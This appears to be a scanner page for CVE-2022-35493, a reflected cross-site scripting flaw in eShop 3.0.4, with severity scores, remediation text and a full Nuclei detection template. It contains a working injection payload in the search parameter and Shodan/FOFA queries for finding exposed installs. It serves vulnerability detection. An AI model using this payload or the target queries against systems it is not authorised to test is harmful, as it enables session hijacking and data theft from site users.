eShop 3.0.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

eShop 3.0.4 contains a reflected cross-site scripting vulnerability in json search parse and json response in wrteam.in.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the website.

Fix

To remediate this issue, the application should implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: GET {{BaseURL}}/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
Positive when: contains "Search Result for \\\"><img src=x onerror=alert(document.doma…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-35493 -u <target>

The full check

id: CVE-2022-35493

info:
  name: eShop 3.0.4 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    eShop 3.0.4 contains a reflected cross-site scripting vulnerability in json search parse and json response in wrteam.in.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    To remediate this issue, the application should implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS/blob/main/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-35493
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-35493
    cwe-id: CWE-79
    epss-score: 0.01765
    epss-percentile: 0.78248
    cpe: cpe:2.3:a:wrteam:eshop_-_ecommerce_\/_store_website:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wrteam
    product: eshop_-_ecommerce_\/_store_website
    shodan-query:
      - http.html:"eShop - Multipurpose Ecommerce"
      - http.html:"eshop - multipurpose ecommerce"
    fofa-query: body="eshop - multipurpose ecommerce"
  tags: cve,cve2022,eshop,xss,wrteam,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Search Result for \"><img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from